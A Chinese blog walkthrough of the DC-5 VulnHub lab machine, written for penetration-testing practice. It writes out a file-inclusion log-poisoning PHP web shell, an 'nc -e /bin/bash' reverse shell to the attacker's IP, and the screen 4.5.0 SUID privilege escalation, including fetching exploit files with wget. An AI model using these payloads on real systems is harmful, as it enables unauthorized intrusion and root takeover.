DC系列（5）DC-5靶机渗透

最新推荐文章于 2024-06-24 20:19:26 发布

Nikris

最新推荐文章于 2024-06-24 20:19:26 发布

阅读量1k

点赞数 1

分类专栏： DC靶机文章标签：安全 linux

本文链接：https://blog.csdn.net/qq_43577567/article/details/122433677

版权

DC靶机专栏收录该内容

8 篇文章 2 订阅

订阅专栏

DC-5

0x00 前期准备
0x01 文件包含
0x02 获得shell
0x03 screen漏洞提权

0x00 前期准备

DC5地址：https://www.vulnhub.com/entry/dc-5,314/
DC5官wp：https://blog.mzfr.me/vulnhub-writeups/2019-07-09-DC5

导入成功。

0x01 文件包含

常规nmap 172.20.10.0/24，扫描得到dc5地址172.20.10.5。
80端口开放，访问网页，得知是nginx服务器。
点击网页的contact，发现可以提交表单。随意填写一个试试。
点击submit，成功后出现thankyou.php，可以看到URL中会有提交的数据。
怀疑文件包含，爆破网页目录。先回到172.20.10.5/contact.php，重新抓包，发送至intruder，add添加contact。
在payload中选择load添加dirbuster的字典（路径：/usr/share/wordlists/dirbuster）。
执行，查看状态栏为200的页面（如果不修改线程数，运行速度极慢，此处仅跑出三个页面，选择另一种方法继续）。
或者，使用dirbuster（普通dirb无法探测到有用页面）。dirbuster启动，在页面中按实际情况选择填写，右下角start。

dirbuster使用参考：https://zhuanlan.zhihu.com/p/273636301
在scan information的所有进程到100%后，切换到result栏查看结果。同样看到了/footer.php。
基本可以确定/footer.php是/thankyou.php的文件包含，访问http://172.20.10.5/thankyou.php?file=footer.php，测试结论成立。
可以继续通过抓包更改url，此处直接使用firefox中的max hackbar插件修改参数。观察php伪协议是否被过滤，php://input用于执行php代码，如图没有回显，同理data伪协议也无回显。

文件包含利用漏洞参考：https://www.cnblogs.com/guoqingsentou/p/13695449.html
回到原来的思路，访问常见可利用文件。分别访问/etc/passwd、/etc/shadow，仅passwd有回显，但没用。
最开始访问页面时，wappalyzer提示dc5服务器是nginx，访问nginx系统日志路径/var/log/nginx/access.log、/var/log/nginx/error.log。其中access.log和error.log都应该有回显。
注意，如果前面的access.log无法回显、后续操作都不可行，说明日志里已存在php语法错误，后面的内容无法加载。删除dc5靶机再重装吧。

0x02 获得shell

利用access.log。抓包在burpsuite-repeater中，把url修改为一句话木马GET <?php phpinfo();?>，回显400 bad request。
再次访问：http://172.20.10.5/thankyou.php?file=/var/log/nginx/access.log，可以看到显示了php信息，意识到可以通过这个方式写入木马。
写入一句话木马：GET <?php @eval($_POST['nikris']);?>。
使用蚁剑连接，此处我用的windows主机的软件，密码就是POST[’’]内。

kali蚁剑安装参考：https://blog.csdn.net/liver100day/article/details/120222378
连接成功后，向/tmp里写入一句话木马。
回到kali，访问/tmp/shell，可以看到footer变成了预设的test，连接有效。
在蚁剑的数据管理区中，选择dc5右键打开虚拟终端，反弹shell：nc -e /bin/bash 172.20.10.3 7788。在这之前，kali主机开启7788端口：nc -lvvp 7788。
返回交互式：python -c 'import pty;pty.spawn("/bin/bash")'，成功。

0x03 screen漏洞提权

使用find / -perm -4000 2>/dev/null查找具有SUID权限的文件，发现screen-4.5.0。
使用searchsploit查找该命令漏洞：searchsploit screen 4.5.0 -w
点进41154漏洞报告url查看，解读并按照指引操作。
复制框内代码，写入/tmp/libhax.c，执行编译。
同理，写入rootshell.c，编译。
构造dc5.sh脚本，第一行加入#!/bin/bash，最后一行加上:set ff=unix命令将原本的dos格式换行符变为unix格式。
得到所需的三个文件：dc5.sh、libhax.so、rootshell。
在此目录下开启5566端口：python2 -m SimpleHTTPServer 5566，靶机切换到/tmp目录，wget 172.20.10.3:5566/xxxx，下载这三个文件。
为dc5.sh添加可执行权限：chmod +x dc5.sh，执行./dc5.sh。
验证权限，切换到/root根目录找到flag，渗透成功。